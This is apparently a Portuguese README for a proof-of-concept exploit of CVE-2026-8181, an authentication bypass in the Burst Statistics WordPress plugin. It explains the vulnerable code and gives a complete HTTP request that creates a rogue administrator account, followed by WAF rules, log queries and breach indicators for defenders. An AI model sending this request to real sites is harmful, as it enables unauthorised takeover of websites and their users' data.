
PoC em Python para CVE-2026-8181, uma bypass crítica de autenticação no plugin Burst Statistics para WordPress. Inclui automação de exploração, varredura em lote e criação de conta de administrador para testes de segurança autorizados.
[!CAUTION] ALERTA CRÍTICO: Esta vulnerabilidade permite que um atacante remoto não autenticado ignore a autenticação e obtenha privilégios totais de Administrador no site WordPress alvo simplesmente injetando um cabeçalho HTTP personalizado. Este CVE está atualmente sendo explorado ativamente na natureza.
CVE-2026-8181 é uma vulnerabilidade crítica de bypass de autenticação que afeta o plugin Burst Statistics para WordPress (versões 3.4.0 a 3.4.1.1). A falha reside na integração com o proxy MainWP do plugin. Devido à validação inadequada de senhas de aplicação durante o hook inicial plugins_loaded, o plugin concede incorretamente contexto administrativo a requisições da API REST que incluam o cabeçalho X-BurstMainWP: 1, mesmo que a requisição não possua credenciais válidas.
Isso transforma uma simples requisição HTTP não autenticada em uma tomada de controle administrativa completa, ignorando todos os mecanismos padrão de autenticação do WordPress.
Para entender como um simples cabeçalho concede as chaves do reino, precisamos dissecar a lógica PHP dentro do manipulador de autenticação do plugin.
A vulnerabilidade decorre de um ramo condicional mal tratado em includes/Frontend/class-mainwp-proxy.php dentro do método is_mainwp_authenticated().
init() em plugins_loaded com prioridade 9. Isso é muito cedo no ciclo de vida do WordPress.X-BurstMainWP: 1, has_admin_access() delega a autenticação para is_mainwp_authenticated().Authorization e encaminha as credenciais para a função central do WordPress wp_authenticate_application_password().application_password_is_api_request como true (devido à execução precoce do hook), a função central retorna null em vez de um objeto WP_Error.is_wp_error( $user ). Como null não é um WP_Error, a proteção falha.wp_set_current_user() usando o nome de usuário fornecido pelo atacante, elevando instantaneamente a requisição para contexto administrativo completo.// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Correctly handles explicit authentication failures
}
// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
// Instead of failing securely, it falls through to this unsafe branch:
$admin_user = get_user_by( 'login', $attacker_supplied_username );
wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
return true;
}
Esta seção é para Red Teamers e Testadores de Penetração Autorizados.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Se bloqueado, use o truque do arquivo de autor: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(admin_username:fake_password)>null e promove a requisição ao contexto de Administrador. O novo usuário administrador é criado.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Ressalva Ambiental: Este exploit requer que o cabeçalho
Authorizationchegue ao PHP.
- Nginx / LiteSpeed / Apache com Permalinks Amigáveis: O cabeçalho é encaminhado. O exploit OBTÉM SUCESSO.
- Apache com Permalinks Simples (Padrão): O cabeçalho é silenciosamente removido pelo servidor web. O exploit FALHA.
Esta seção é para Blue Teamers, Analistas de SOC e Administradores de Sistemas.
Bloqueie ou monitore o cabeçalho específico na borda.
Regra ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Regra Personalizada do Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Pesquise nos logs do seu servidor web pela presença do cabeçalho combinado com criação de usuário via API REST.
Consulta Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Se suspeitar de uma violação, procure por estes artefatos pós-exploração:
wp_users em busca de usuários criados via API REST com a função administrator.wp-content/plugins/ por uploads não autorizados (muitas vezes webshells disfarçadas de plugins legítimos).wp-content/themes/ ou arquivos principais.[!IMPORTANT] Ação Imediata Necessária: Se você estiver executando uma versão vulnerável, aplique uma das seguintes mitigações imediatamente.